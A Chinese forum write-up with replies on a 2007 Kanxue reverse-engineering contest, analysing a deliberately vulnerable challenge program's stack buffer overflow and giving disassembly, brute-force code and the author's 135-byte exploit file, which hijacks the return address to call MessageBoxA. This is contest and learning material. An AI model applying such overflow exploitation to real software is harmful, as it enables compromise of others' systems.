第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
By: aker

工具:OD
我的方法比较一般,很多大虾都是51字节的,希望向他们学习。这儿写下来是为了记住自己走过的一段历程。我在确定前八个字节上面花费的时间特别多,开始就是蠢方法,看里面很多代码不知道前后关系是什么,也难得看懂,就把代码挖出来,然后丢在自己机子上跑,自己看东西去了,一直到了晚上8点才想起是不是不可能跑出来,计算了下时间,发现根本不可能穷举出来。然后没办法,只好去看代码,但是rcl,sbb那几个指令那里我怎么都定不下心去看,看到那些数字也没有先计算下哪些是固定值,那些是根据输入变化的,不知道前后有什么耦合关系。而且也是自己的原因,自己看到数字在里面多了就觉得很烦。

下面是细节,从前面一步步跟下来,发现流程主要是这样的:

点击exploit后,程序读test.txt,读取大小,确保文件大于8,小于0x1000,在堆中分配文件大小+1个字节,读入文件存放到该缓冲区。这个过程中应该没有什么错误,各个环节的检查都比较严。然后关键的一段代码如下,从这段代码的调用情况来看,必须在该处处理fail字符串或者跳过下面的msgbox调用,否则就出现fail字样的窗口,基本可以确定,关键的地方就在这个函数(0040037E)里面。

代码:

0040037C   |.  50                  push eax                                     ;  文件大小
0040037D   |.  56                  push esi                                     ;  文件开始地址
0040037E   |.  E8 FDFEFFFF         call ExploitM.00400280                       ;  溢出操作
00400383   |.  59                  pop ecx
00400384   |.  59                  pop ecx
00400385   |>  57                  push edi                                     ; /Style
00400386   |.  68 68024000         push ExploitM.00400268                       ; |Title = "Try"
0040038B   |.  68 60024000         push ExploitM.00400260                       ; |Text = "Failed!"
00400390   |.  57                  push edi                                     ; |hOwner
00400391   |.  FF15 4C024000       call dword ptr ds:[<&USER32.MessageBoxA>]    ; \MessageBoxA
 

跟进去看看,挺长一段代码,不过做的事情很容易看出来,开始先分配44(0x2c)字节空间并置0。
代码:

00400280   /$  55                  push ebp
00400281   |.  8BEC                mov ebp,esp
00400283   |.  83EC 2C             sub esp,2C                                   ;  分配2c的栈空间
00400286   |.  8065 D4 00          and byte ptr ss:[ebp-2C],0                   ;  置栈顶字节为0
…………………………

然后是最关键的变换代码,对读入数据的前8个字节变换,我在这个地方吃了大亏,就是两个函数,先把他们放下吧,看看后面的代码是什么,掌握整体的思路。
代码:

0040029F   |.  8B75 08             mov esi,dword ptr ss:[ebp+8]                 ;  esi = 数据起点
004002A2   |.  68 A802CC78         push 78CC02A8
004002A7   |.  68 1B8F9469         push 69948F1B
004002AC   |.  FF76 04             push dword ptr ds:[esi+4]                    ;  起点的第四个字节开始的双字
004002AF   |.  FF36                push dword ptr ds:[esi]                      ;  读取数据的起点
004002B1   |.  E8 0A030000         call ExploitM.004005C0
004002B6   |.  68 82FFE65B         push 5BE6FF82
004002BB   |.  68 854716A5         push A5164785
004002C0   |.  52                  push edx                                     ;  计算的余数 + 低32位和
004002C1   |.  50                  push eax                                     ;  第三*第一的低32位
004002C2   |.  E8 79020000         call ExploitM.00400540

上面的代码仅读取前8个字节,但是不改变数据,下面的代码对前8个字节作变化,改变数据。
代码:

004002C7   |.  6A 04               push 4
004002C9   |.  8BCE                mov ecx,esi                                  ;  ecx = esi
004002CB   |.  5F                  pop edi                                      ;  edi = 4
004002CC   |>  8031 1C             /xor byte ptr ds:[ecx],1C                    ;  对数据开始8个字节异或;跳转
004002CF   |.  8A11                |mov dl,byte ptr ds:[ecx]
004002D1   |.  3051 01             |xor byte ptr ds:[ecx+1],dl
004002D4   |.  41                  |inc ecx
004002D5   |.  41                  |inc ecx
004002D6   |.  4F                  |dec edi
004002D7   |.^ 75 F3               \jnz short ExploitM.004002CC

对应的c代码如下面所示,可以看到,比较简单,就是相互异或。
代码:

for(int i =0;i<8; i+=2)
{
  str[i] ^= 1c;
  str[i+1] ^= str[i];
}

再下面的代码是计算是否复制读入文件到栈缓冲区,读如多少。
代码:

004002D9   |.  6A 1A               push 1A
004002DB   |.  59                  pop ecx                                      ;  ecx = 1ah
004002DC   |.  2BC8                sub ecx,eax                                  ;  1a-eax;//关键就是这个eax
004002DE   |.  0FAFC8              imul ecx,eax                                 ;  (1a-eax)*eax
004002E1   |.  81E9 9C000000       sub ecx,9C                                   ;  ecx -= 9c;
 

顺便问下,有灭有计算方程的工具咯。
从上面的代码推导出最后求覆盖字节数的公式为:
代码:

(0x1a-x)*x -0x9c = k+/-0x100000000 * i (i = 0,1,2...)
其中x为传入的eax,k为最后的覆盖字节数ecx。设i = 0 解该二元二次方程得到
代码:

x=13(+/-) (52-4k)^0.5
可以看到 k <=13 (0xD),从这里我们可以知道最多可以覆盖13个双字。从栈分配的情况看,见上面代码。分配的栈大小为44(0x2c )字节,如果想覆盖掉返回地址的话,需要覆盖栈大小加上8个字节的ebp和eip空间,共13个双字,从而我们可以得到对应的x为13,即上面两个函数处理输入文件的开始8个字节后,eax的值需要为13。现在我们知道需要覆盖d*4个字节,同样应该还有其他的解,主要是i= 1,2,......但是我真的没有能解出来,看到16进制还不习惯。所以这也是为什么我的比别人大的原因。如果开始的不为跳转语句,而是其他的任何废语句都没有关系。我这个就这样了选x = D。


现在我们确定了要读入堆栈的文件字节数,下面的代码复制到堆栈。
代码:

004002EB   |.  8D7D D4             lea edi,dword ptr ss:[ebp-2C]
004002EE   |.  F3:A5               rep movs dword ptr es:[edi],dword ptr ds:[es>;  复制字符串,真正的溢出点

好了,现在我们知道总体思路了,程序的漏洞就在上面的复制里面,该处的复制没有检查缓冲区的大小与数据的大小,但是,我们需要构造数据。所以关键的地方在前八个字节的处理上。
看输入文件处理函数,首先是第一个函数,比较简单,现在总结自己犯的错误,主要觉得自己有侥幸心理,感觉代码能不看就不看,而且自己的汇编功底确实不好,毕竟俺是文科出身的;)没有正儿八经的学过这个咚咚。
这个代码中间是这样的,第三和第四参数是常数。
代码:

//////////调用点
0040029F   |.  8B75 08             mov esi,dword ptr ss:[ebp+8]                 ;  esi = 数据起点
004002A2   |.  68 A802CC78         push 78CC02A8
004002A7   |.  68 1B8F9469         push 69948F1B
004002AC   |.  FF76 04             push dword ptr ds:[esi+4]                    ;  起点的第四个字节开始的双字
004002AF   |.  FF36                push dword ptr ds:[esi]                      ;  读取数据的起点
004002B1   |.  E8 0A030000         call ExploitM.004005C0
//////////函数,红线的应该为废操作
004005C0   /$  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  第二参数-输入文件5-8字节
004005C4   |.  8B4C24 10           mov ecx,dword ptr ss:[esp+10]                ;  第四参数
004005C8   |.  0BC8                or ecx,eax                                   ;  或该两个参数?废操作
004005CA   |.  8B4C24 0C           mov ecx,dword ptr ss:[esp+C]                 ;  第三参数
004005CE   |.  75 09               jnz short ExploitM.004005D9                  ;  不为0跳转;永不为0
004005D0   |.  8B4424 04           mov eax,dword ptr ss:[esp+4]                 ;  第一参数
004005D4   |.  F7E1                mul ecx                                      ;  第三 * 第一
004005D6   |.  C2 1000             retn 10
004005D9   |>  53                  push ebx                                     ;  保存ebx
004005DA   |.  F7E1                mul ecx                                      ;  第三 * 第二
004005DC   |.  8BD8                mov ebx,eax                                  ;  结果低32位放ebx
004005DE   |.  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  第一参数
004005E2   |.  F76424 14           mul dword ptr ss:[esp+14]                    ;  第一 * 第四参数
004005E6   |.  03D8                add ebx,eax                                  ;  低32位相加
004005E8   |.  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  eax = 第一参数
004005EC   |.  F7E1                mul ecx                                      ;  第三 * 第一参数
004005EE   |.  03D3                add edx,ebx                                  ;  进位 + 刚刚低32位和
004005F0   |.  5B                  pop ebx
004005F1   \.  C2 1000             retn 10
 


代码的出口后,还被用到的变量是eax和edx,该两个变量在代码中变换如下。
代码:

// UINT64 x,y;
// x,y,0x69948F1B,0x78CC02A8  ---?设为输入的参数
// (unsigned)(y*0x69948F1B + x*0x78CC02A8) + (unsigned)(x*0x69948F1B >>32)  --> edx -->para2
// (unsigned)(x*0x69948F1B)    --> eax     --> para1

然后看第二个变换函数,这个函数挺长,也比较烦燥,我主要就是看到里面的rcr,shr,sbb之类的就卡壳了,怎么都理不清到底作了什么,其实主要觉得还是惰性,觉得不想去翻书。
代码:

//调用点
004002B6   |.  68 82FFE65B         push 5BE6FF82
004002BB   |.  68 854716A5         push A5164785
004002C0   |.  52                  push edx                                     ;  计算的余数 + 低32位和
004002C1   |.  50                  push eax                                     ;  第三*第一的低32位
004002C2   |.  E8 79020000         call ExploitM.00400540
//函数
00400540   /$  53                  push ebx
00400541   |.  8B4424 14           mov eax,dword ptr ss:[esp+14]                ;  第四参数
00400545   |.  0BC0                or eax,eax                                   ;  永不为0?
00400547   |.  75 18               jnz short ExploitM.00400561
00400549   |.  8B4C24 10           mov ecx,dword ptr ss:[esp+10]                ;  第三参数
0040054D   |.  8B4424 0C           mov eax,dword ptr ss:[esp+C]                 ;  第二
00400551   |.  33D2                xor edx,edx
00400553   |.  F7F1                div ecx
00400555   |.  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  第一
00400559   |.  F7F1                div ecx
0040055B   |.  8BC2                mov eax,edx
0040055D   |.  33D2                xor edx,edx
0040055F   |.  EB 50               jmp short ExploitM.004005B1
00400561   |>  8BC8                mov ecx,eax                                  ;  ecx = 第4;肯定到这儿
00400563   |.  8B5C24 10           mov ebx,dword ptr ss:[esp+10]                ;  ebx = 第3
00400567   |.  8B5424 0C           mov edx,dword ptr ss:[esp+C]                 ;  edx = 第2
0040056B   |.  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  eax = 第1参数
0040056F   |>  D1E9                /shr ecx,1                                   ;  ecx >>=1
00400571   |.  D1DB                |rcr ebx,1                                   ;  循环右移-带进位-固定0B7CDFF05h
00400573   |.  D1EA                |shr edx,1                                  
00400575   |.  D1D8                |rcr eax,1                                   ;  para 1
00400577   |.  0BC9                |or ecx,ecx                                  ;  31回
00400579   |.^ 75 F4               \jnz short ExploitM.0040056F
0040057B   |.  F7F3                div ebx                                      ;  0B7CDFF05h--固定值
0040057D   |.  8BC8                mov ecx,eax                                  ;  ecx = eax
0040057F   |.  F76424 14           mul dword ptr ss:[esp+14]                    ;  第四参数
00400583   |.  91                  xchg eax,ecx
00400584   |.  F76424 10           mul dword ptr ss:[esp+10]                    ;  para 3
00400588   |.  03D1                add edx,ecx
0040058A   |.  72 0E               jb short ExploitM.0040059A
0040058C   |.  3B5424 0C           cmp edx,dword ptr ss:[esp+C]                 ;  para 2
00400590   |.  77 08               ja short ExploitM.0040059A
00400592   |.  72 0E               jb short ExploitM.004005A2
00400594   |.  3B4424 08           cmp eax,dword ptr ss:[esp+8]                 ;  para 1   ----0
00400598   |.  76 08               jbe short ExploitM.004005A2
0040059A   |>  2B4424 10           sub eax,dword ptr ss:[esp+10]                ;  para 3
0040059E   |.  1B5424 14           sbb edx,dword ptr ss:[esp+14]                ;  para 4
004005A2   |>  2B4424 08           sub eax,dword ptr ss:[esp+8]                 ;  para 1
004005A6   |.  1B5424 0C           sbb edx,dword ptr ss:[esp+C]                 ;  para 2
004005AA   |.  F7DA                neg edx
004005AC   |.  F7D8                neg eax                                      ;  返回值
004005AE   |.  83DA 00             sbb edx,0
004005B1   |>  5B                  pop ebx
004005B2   \.  C2 1000             retn 10
 

其实这两个函数都是有冗余代码,就是有一个挺长的根本走不到的分支,简化如下,可以看到,这个函数对开始得到的edx,和eax做变换,里面的细节我的无法还原为数字形式的公式,分析的情况是,在00400579 结束后eax等于eax>>31 + edx <<1,ebx为固定值0B7CDFF05h,ecx为0,edx为edx>>31,说起来很简单,但是下面的就有问题了,无符号除法,这个地方有时候edx有进位,有时候没有,Eax/ebx,根据ebx的值,结果肯定为1或者0吧,这个里面有一些关系应该,我没有搞清楚。希望得到大虾的指教。但是这个里面有个关系可以用,就是00400583-84的语句,可以看到,eax和第四参数有关系,有(unsigned)((eax*0x69948F1B) + ~0xd+1)%0xA5164785 ==0。这个我是穷举的,不知道怎么计算出来,而且这只是一个关系,其他的应该还有,只要在上面把i选择对了的话,继续穷举,我穷举的eax是//3d6365d6,//8ad397f7其中第二个有效。另外的4个字节比较宽松,很多都可以满足。
代码:

00400540   /$  53                  push ebx
00400561   |>  8BC8                mov ecx, ,dword ptr ss:[esp+14]              ;  第4;肯定到这儿
00400563   |.  8B5C24 10           mov ebx,dword ptr ss:[esp+10]                ;  ebx = 第3
00400567   |.  8B5424 0C           mov edx,dword ptr ss:[esp+C]                 ;  edx = 第2
0040056B   |.  8B4424 08           mov eax,dword ptr ss:[esp+8]                 ;  eax = 第1参数
0040056F   |>  D1E9                /shr ecx,1                                   ;  ecx >>=1
00400571   |.  D1DB                |rcr ebx,1                                   ;  循环右移-带进位-固定0B7CDFF05h
00400573   |.  D1EA                |shr edx,1                                
00400575   |.  D1D8                |rcr eax,1                                   ;  para 1
00400577   |.  0BC9                |or ecx,ecx                                  ;  31回
00400579   |.^ 75 F4               \jnz short ExploitM.0040056F
0040057B   |.  F7F3                div ebx                                      ;  0B7CDFF05h--固定值
0040057D   |.  8BC8                mov ecx,eax                                  ;  ecx = eax
0040057F   |.  F76424 14           mul dword ptr ss:[esp+14]                    ;  第四参数
00400583   |.  91                  xchg eax,ecx
00400584   |.  F76424 10           mul dword ptr ss:[esp+10]                    ;  para 3
00400588   |.  03D1                add edx,ecx
0040058A   |.  72 0E               jb short ExploitM.0040059A
0040058C   |.  3B5424 0C           cmp edx,dword ptr ss:[esp+C]                 ;  para 2
00400590   |.  77 08               ja short ExploitM.0040059A
00400592   |.  72 0E               jb short ExploitM.004005A2
00400594   |.  3B4424 08           cmp eax,dword ptr ss:[esp+8]                 ;  para 1   ----0
00400598   |.  76 08               jbe short ExploitM.004005A2
0040059A   |>  2B4424 10           sub eax,dword ptr ss:[esp+10]                ;  para 3
0040059E   |.  1B5424 14           sbb edx,dword ptr ss:[esp+14]                ;  para 4
004005A2   |>  2B4424 08           sub eax,dword ptr ss:[esp+8]                 ;  para 1
004005A6   |.  1B5424 0C           sbb edx,dword ptr ss:[esp+C]                 ;  para 2
004005AA   |.  F7DA                neg edx
004005AC   |.  F7D8                neg eax                                      ;  返回值
004005AE   |.  83DA 00             sbb edx,0
004005B1   |>  5B                  pop ebx
004005B2   \.  C2 1000             retn 10
 

上面的说的很简单,实际上我开始真的走了n多弯路,怎么都无法得到满足条件的结果。开始还写了这样的代码跑了半天,现在想起来都好笑;)不过也是因为我不熟悉sbb等指令,怕自己推断错误。
代码:

unsigned para1 = 1;
unsigned para2 = 1;
unsigned lpara1;
unsigned lpara2;

while (para1++<0xffffffff)
{
    while (para2++<0xffffffff)
    {
    //unsigned 0A5164785h = 0A5164785h;    
    //unsigned 0A5164785h = 5BE6FF82h;    
    __asm{
        mov eax,para2       //;  第二参数
        //mov ecx,78CC02A8h   //;  第四参数
        //or ecx,eax          //;  或该两个参数?废操作
        mov ecx,69948F1Bh   //;  第三参数
        push ebx            //;  保存ebx
        mul ecx             //;  第三 * 第二
        mov ebx,eax         //;  结果低32位放ebx
        mov eax,para1       //;  第一参数
        push 78CC02A8h
        pop esi
        mul esi             //;  第一 * 第四参数
        add ebx,eax         //;  低32位相加
        mov eax,para1       //;  eax = 第一参数
        mul ecx             //;  第三 * 第一参数
        add edx,ebx         //;  进位 + 刚刚低32位和
        pop ebx
        mov lpara1,eax
        mov lpara2,edx
    }
    __asm{
        mov ecx, 5BE6FF82h       //  ecx = 第4;肯定到这儿?
        mov ebx,0A5164785h      //  ebx = 第2
        mov edx,lpara2           //  edx = 第3
        mov eax,lpara1           //  eax = 第1参数
        again:
            shr ecx,1           //  ;  ecx >>=1
            rcr ebx,1           //  ;  循环右移
            shr edx,1           //  ;  左边填0--〉最后edx =1
            rcr eax,1           //  ;  para 1
            or ecx,ecx          //  ;  31回
            jnz again           //
        div ebx
        push ebx
        mov ebx,5BE6FF82h      //
        mov ecx,eax             //
        mul ebx                 //  第四参数
        xchg eax,ecx            //
        mul ebx
        pop ebx                 
        add edx,ecx             //
        jb pos1                 //
        cmp edx,lpara2           //  para 2
        ja pos1                 //
        jb pos2                 //
        cmp eax,lpara1           //  para 1
        jbe pos2                //
        pos1:
        sub eax,0A5164785h      //  para 3
        sbb edx,5BE6FF82h      //  para 4
        pos2:
        sub eax,lpara1           //  para 1
        sbb edx,lpara2           //  para 2
        neg edx                 //
        neg eax                 //  返回值
        sbb edx,0
        cmp eax,211BB34h
        jz success
    }
    }

得到开始8个字节后就好做了,栈申请了2c字节,覆盖掉ebp,eip跳转到自己需要的地方需要在栈上写0x34字节,即D个双字,执行代码就是了;)))pdpd。我的代码如下,非常无聊,我没有算到一个其他的入口代码,所以我的入口点必须跳到7c处才行。开始我也不知道大小和分数有关,我开始的提交后面还有几十个0没有清除 ,中间也没有用90填充,后面第二次提交时上传错了文件,真挫;)) 我就明天学习各位大虾的代码;))大家都放出来啊;))
上面说的两种方法,一个是直接修改代码里的数据,另外一个是跳转后直接构造堆。我的就是跳转后直接构造堆栈,调用msgbox,平衡栈底,跳转回去,需要注意的应该就是平衡栈底。调用msgbox的时候我就是使用的堆里面的数据ok!。注意重定位就是了,具体看代码。另外我的代码很乱,我就随便输入的字符串,然后改的,所以将就看吧;))
代码:

003E0000    /EB 7C                 jmp short 003E007E
003E0002    |CF                    iretd
003E0003    |45                    inc ebp
003E0004    |FA                    cli
003E0005    |05 E3154F4B           add eax,4B4F15E3
003E000A    |2100                  and dword ptr ds:[eax],eax
003E000C    |5F                    pop edi
003E000D    |57                    push edi
003E000E    |83C7 34               add edi,34
003E0011    |FFE7                  jmp edi
003E0013    |00FF                  add bh,bh
003E0015    |D7                    xlat byte ptr ds:[ebx+al]
003E0016    |FD                    std
003E0017    |1200                  adc al,byte ptr ds:[eax]
003E0019    |57                    push edi
003E001A    |FF15 4C024000         call dword ptr ds:[<&USER32.MessageBoxA>]    ; USER32.MessageBoxA
003E0020    |61                    popad
003E0021    |6263 64               bound esp,qword ptr ds:[ebx+64]
003E0024    |65:66:67:68 6970      push 7069
003E002A    |71 72                 jno short 003E009E
003E002C    |C4FB                  les edi,ebx                                  ; 非法使用寄存器
003E002E    |1200                  adc al,byte ptr ds:[eax]
003E0030    |F5                    cmc
003E0031    |0240 00               add al,byte ptr ds:[eax]
003E0034    |8BC6                  mov eax,esi  ///////////////////////////////////////////////////////
003E0036    |05 08000000           add eax,8
003E003B    |0BC9                  or ecx,ecx
003E003D    |51                    push ecx
003E003E    |50                    push eax
003E003F    |50                    push eax
003E0040    |51                    push ecx
003E0041    |FF15 4C024000         call dword ptr ds:[<&USER32.MessageBoxA>]    ; USER32.MessageBoxA
003E0047    |59                    pop ecx
003E0048    |59                    pop ecx
003E0049    |8BEC                  mov ebp,esp
003E004B    |83C5 14               add ebp,14
003E004E    |90                    nop
003E004F    |90                    nop
003E0050    |90                    nop
003E0051    |BF 97034000           mov edi,400397
003E0056    |FFE7                  jmp edi
003E0058    |66:                   prefix datasize:
003E0059    |66:                   prefix datasize:
003E005A    |66:                   prefix datasize:
003E005B    |66:                   prefix datasize:
003E005C    |66:                   prefix datasize:
003E005D    |66:                   prefix datasize:
003E005E    |66:                   prefix datasize:
003E005F    |66:                   prefix datasize:
003E0060    |66:                   prefix datasize:
003E0061    |66:                   prefix datasize:
003E0062    |66:                   prefix datasize:
003E0063    |66:                   prefix datasize:
003E0064    |66:                   prefix datasize:
003E0065    |66:                   prefix datasize:
003E0066    |66:                   prefix datasize:
003E0067    |66:                   prefix datasize:
003E0068    |66:                   prefix datasize:
003E0069    |66:                   prefix datasize:
003E006A    |66:                   prefix datasize:
003E006B    |66:                   prefix datasize:
003E006C    |66:                   prefix datasize:
003E006D    |66:                   prefix datasize:
003E006E    |66:                   prefix datasize:
003E006F    |66:0000               add byte ptr ds:[eax],al
003E0072    |0000                  add byte ptr ds:[eax],al
003E0074    |0000                  add byte ptr ds:[eax],al
003E0076    |0000                  add byte ptr ds:[eax],al
003E0078    |0000                  add byte ptr ds:[eax],al
003E007A    |0000                  add byte ptr ds:[eax],al
003E007C    |0000                  add byte ptr ds:[eax],al
003E007E    \8BC6                  mov eax,esi
003E0080     05 34000000           add eax,34
003E0085     FFE0                  jmp eax

总结:这个程序应该说溢出难度不是很大,但是我计算那个开始字节卡壳了,郁闷。哎,熟能生巧,熟能生巧,熟能生巧。我确实这方面搞得少,所以要多做;))另外这个文章写得也郁闷,就当自己的心路历程吧。特别需要注意的是要注意汇编中乘法除法的进位,借位问题。还有些rcr,sbb之类的还要再看。;))

一种穷举代码:
代码:

int main(int argc, char *argv[])
{
    UINT64 i;
    for (i = 0; i<0xffffffff; i++)
    if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 ) 
        printf("%x\n",i);
        return 0;
}

  • 标 题: 答复
  • 作 者:Aker
  • 时 间:2007-08-30 12:26

引用:

最初由 foxabu发布 (帖子 352740)
unsigned __int64 initVar = 0;
  unsigned __int64 divisor;
  divisor = initVar * 0x78CC02A869948F1B;
  unsigned __int64 dividend = 0x5BE6FF82A5164785;
...

昨天我穷举用的这个,反过来的

代码:

int main(int argc, char *argv[])
{
UINT64 i;
for (i = 0; i<0xffffffff; i++)
if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 ) 
    printf("%x\n",i);
    return 0;
}

~0xd+1这个地方可以根据我上面介绍的方法修改.这个能得到一个跳转,就是题目中的这个,
另外在i变化的时候有其他的

跳转你可以看我代码里面的opcode,我用的retn,
jmp esi也可以,在里面搜索该opcode, 发现只有一个,而且是在操作数里面的;)))

  • 标 题: 答复
  • 作 者:kangaroo
  • 时 间:2007-08-30 12:29

第二个call中调用了div ebx,后面利用他算出来的商数跟三参和四参计算得到eax和edx
div后的商数就3种情况0、1、2
#include<iostream.h>
int _stdcall l(int i);
void main()
{
  int value=0;
  for(int i=0;i<=0xFFFFFFFF;i++)
  {
    value=l(i);
    if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)//因为就三种情况
    {
      cout<<i<<endl;
      return;
    }
  }
}
int _stdcall l(int i)
{
  return 0x69948F1B*i;
}

第二个call出来的eax我个人认为要是0xD,正好盖掉返回值处

  • 标 题: 答复
  • 作 者:zmworm
  • 时 间:2007-08-30 13:16

本来想&0xFFFFFFFFFFFFFFF,但怕大家失去溢出的乐趣,就改成了& 0xFFFFFFFF ,让大家可以用穷举过第一关.有兴趣的人可以考虑一下如果是&0xFFFFFFFFFFFFFFF应该怎么玩,怎么获得0xD,嘿嘿